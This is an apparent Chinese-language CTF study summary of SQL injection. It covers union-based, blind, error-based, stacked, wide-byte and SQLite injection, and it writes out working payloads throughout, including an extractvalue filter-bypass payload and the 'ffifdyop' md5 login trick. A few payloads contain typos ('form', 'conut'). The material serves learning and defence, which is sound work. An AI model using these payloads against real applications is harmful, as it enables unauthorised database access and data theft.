Experience summary of SQL injection
一般注入
通过修改参数的值, 例如正常数字 大数字 字符 单引号 双引号 括号 反斜杠等等来探测是否存在注入点. 如果有报错信息, 则可以根据报错信息还原SQL语句.
例如在数字后面加 ‘ 不行则可以试试加 \
注入操作(找到注入点并还原SQL语句后)
- 利用
order by
来判断字段数(联合查询需要相同的字段) - 得到字段数后, 判断显位. 例如
url?id=-1' union select 1,2,3
, 观察哪个数字会显示出来. - 获取数据库名(显位是2的情况下,下面也是)
union select 1,database(),3
select 1 , group_concat(schema_name) , 3 from information_schema.schemata
- 列出数据库中所有表(假设库名是test)
select group_concat(table_name) from information_schema.tables where table_schema = test
如果不行 可以试试'test'
0x674657374
(把test转成十六进制)database()
- 列出所有字段
- select group_concat(column_name) from information_schema,columns where table_name =
- 爆数据就完事了
盲注
跟一般注入的区别在于, 服务端不再返回报错内容, 注入的时候只能知道自己输入的语句是否出错, 而且也不能直接得到库名表名这些. 盲注一般分为两种, 一种是基于布尔的, 一种是基于时间的.
相关函数
使用盲注得知道一些函数:
- ascii(str): str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。
- substr(str,start,len): 这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。
- length(str): 这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。
- count([column]): 统计记录的数量,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。
- if(condition,a,b): 当condition为true的时候,返回a,当condition为false的时候,返回b。
- sleep(n): 服务端等待n秒后返回记录, 在时间盲注中, 用于判断语句是否正确.
- benchmark(times, func): 执行times次func, 也用于时间盲注, 通过服务端的反应时间来判断语句是否正确.
基于布尔的盲注
基于布尔的盲注是根据页面差来进行判断注入和数据注入的。在存在注入的页面输入and (true)则返回页面1;输入and (false)则返回页面2,而页面1和页面2有差别,常见的情况页面1是正常页面,页面2是错误页面
注入操作
- 获取用户名
- 猜用户名的长度
and(select length(user()))=数字
, 不断尝试不同的数字得到用户名的长度 - 逐位猜解用户名
and (select ascii(mid(user(),位数,1)))=114
, 猜测在某个位置的字母的ASCII码为114. 通过观察返回的页面来判断每一位的字母, 最终得到用户名
- 猜用户名的长度
- 获取当前数据库的库名
- 猜库名长度
and (select length(database()))=数字
- 逐位猜解库名
and (select ascii(mid(database(),位数,1)))=116
- 猜库名长度
- 获取表名
- 判断表的数量
and (select count(table_name) from information_schema.tables where table_schema=database())=4
,这条语句就是判断数据库中有4张表 - 判断表名的长度
and (select length(table_name) from information_schema.tables where table_schema=database() limit 位数,1)=5
, 位数指的是第几张表 - 逐位拆解表名
and (select ascii(mid(table_name,表名的第几位,1)) from information_schema.tables wheretable_schema=database() limit 第几张表,1)=100
- 判断表的数量
- 获取列名
- 判断列的数量
and (select count(column_name) form information_schema.columns where table_schema=表名)=数字
- 判断列的长度
and (select length(column_name) form information_schema.columns where table_schema=表名 limit 第几列,1)=数字
- 逐位猜解列名
and (select ascii(mid(column_name,第几个字母,1)) form information_schema.columns where table_schema=表名 limit 第几列,1)=数字
- 判断列的数量
- 获取数据
- 判断数据的条数
and (select conut(列名) from 表名)=数字
- 判断数据的长度
and (select length(列名) from 表名 limit 第几条,1)=数字
- 逐位猜解数据
and (select ascii(mid(列名,第几个字母,1)) from 表名 limit 第几条,1)=数字
- 判断数据的条数
事实上,以上语句中的’=’都可以用’<’和’>’来代替以便于更快的确定数据, 而且手工注入往往需要大量的尝试, 这非常的操蛋繁琐, 一般可以写脚本来注入
基于时间的盲注
利用sleep()
或benchmark()
等函数让mysql执行时间变长经常与if(expr1,expr2,expr3)
语句结合使用, 通过页面的响应时间来判断条件是否正确. if(expr1,expr2,expr3)
含义是如果expr1
是True
, 则返回expr2
, 否则返回expr3
.
注入操作
反正也不会真的去手工注入sqlmap即可
报错注入
报错注入有很多很多(至少我在网上查找资料的时候看见了很多), 一边做题, 一边把遇到的报错注入的方法进行总结吧.
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中
目录
- 通过
extractvalue()
或updatexml()
函数
通过extractvalue()
或updatexml()
函数
场景
- 当union被过滤的时候
原理
extractvalue()
:对XML文档进行查询的函数udatexml()
:对XML文档进行更新的函数
语法:
extractvalue(文档,路径)
updatexml(目标xml文档,xml路径,更新的内容)
路径写入其他格式,就会报错并且会返回我们写入的非法格式内容,我们可以利用这个得到我们想得到的内容
常用payload
1 | 查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database())))) |
例题: buuctf 极客大挑战 hardsql
情景: order by
union
空格
and
被过滤
查字段名时候的payload:?username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
读取文件
堆叠注入
在正常的语句后面加分号( ; ),可顺序执行多条语句, 从而造成注入漏洞.
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
堆叠注入可以搭配一些语句来绕过对某些关键词的过滤:1
2
3
4
5;show databases ------列出所有数据库
;show tables ------列出所有表
;show columns from table_name ------列出某个表的所有字段
;desc table_name
通过RENAME
更改flag所在表名为默认查询的表名
更改表名:
rename table tbl_name to new_tbl_name
alter table table_name to new name
更改列名
alter table t_app change name app_name varchar(20)
绕过方法
宽字节注入
利用编码转换, 将服务器端强制添加的本来用于转义的\符号吃掉, 从而能使攻击者输入的引号起到闭合作用, 以至于可以进行SQL注入.
操作
如在进行url?id=1'
等操作时, 发现无论如何都不报错, 或者报错了莫名其妙的多出了有\, 此时就可以使用url?id=1%df'
, 这时服务端会在’前面添加一个\, \的ASCII码为0x5c, 因为前面的%df大于128, 服务端会将0xdf和0x5c合并成0xdf5c即汉字 “运”, 从而达到了绕过\转义’的目的
PHP预处理
使用concat(char(num,num,num)) 即使用ascii码转成字符再拼接来绕过对某些关键词的过滤.
SQLite注入
与sql不同的是, sqlite少了一些函数, 比如database()等等, 而且如果使用了不存在的函数也无法爆出库名.
但是sqlite存在一个sqlite_master表, 里面的字段为type/name/tbl_name/rootpage/sql
可以通过查询该表内信息得到表名, 并且可以通过sql字段内的sql语句得到对应表内的字段
一些奇怪的总结???
jarvis oj - login
这是一道要用万能密码登录的题
sql语句是:1
"select * from `admin` where password='".md5($pass,true)."'"
php的md5()这个函数, 可以有第二个参数, 如果是true, 则回返回原始的二进制数据, 也就是原本md5出来的32位十六进制字符串转成真正的十六字节的字符串.
那么这里要登录进去, 需要把语句构造成:1
2"select * from `admin` where password=''or'1'"
# or后面的1可以换成别的, 只要是一个字符串就好了
然后这里用到了一个字符串ffifdyop
, 为啥用这个呢? 因为
如果$pass=ffifdyop
, 那么语句就会变成1
"select * from `admin` where password=''or'6'"
这样就能登录啦